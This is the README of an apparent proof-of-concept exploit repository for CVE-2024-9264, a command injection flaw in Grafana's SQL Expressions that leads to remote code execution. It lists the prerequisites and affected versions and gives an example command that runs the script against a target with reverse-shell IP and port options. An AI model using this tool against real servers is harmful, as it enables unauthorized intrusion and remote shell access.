CVE-2024-9264 PoC — Grafana SQL Expressions allow for remote code execution

Associated Vulnerability

Title:Grafana SQL Expressions allow for remote code execution (CVE-2024-9264)
Description:The SQL Expressions experimental feature of Grafana allows for the evaluation of `duckdb` queries containing user input. These queries are insufficiently sanitized before being passed to `duckdb`, leading to a command injection and local file inclusion vulnerability. Any user with the VIEWER or higher permission is capable of executing this attack. The `duckdb` binary must be present in Grafana's $PATH for this attack to function; by default, this binary is not installed in Grafana distributions.

# CVE-2024-9264-RCE-Exploit in Grafana via SQL Expressions

## Description
Proof Of Concept for Remote Code Execution in Grafana (CVE-2024-9264)

This repository contains a Python script that exploits a Remote Code Execution (RCE) vulnerability in Grafana's SQL Expressions feature. 
By leveraging insufficient input sanitization, this exploit allows an attacker to execute arbitrary shell commands on the server.
This is made possible through the shellfs community extension, which can be installed and loaded by an attacker to facilitate command execution.

## Prerequisites
- authenticated Grafana user with `Viewer` permissions or higher
- DuckDB binary must be installed and accessible through Grafana's PATH

## Impacted version
Grafana >= v11.0.0 (all v11.x.y are impacted)

## Usage
```
python3 poc.py [--url <target>] [--username <username>] [--password <password>] [--reverse-ip <IP>] [--reverse-port <PORT>]
```

## Example
```
python poc.py --url http://127.0.0.1:3000 --username eviluser --password eviluser --reverse-ip 10.10.1.41 --reverse-port 9001
```
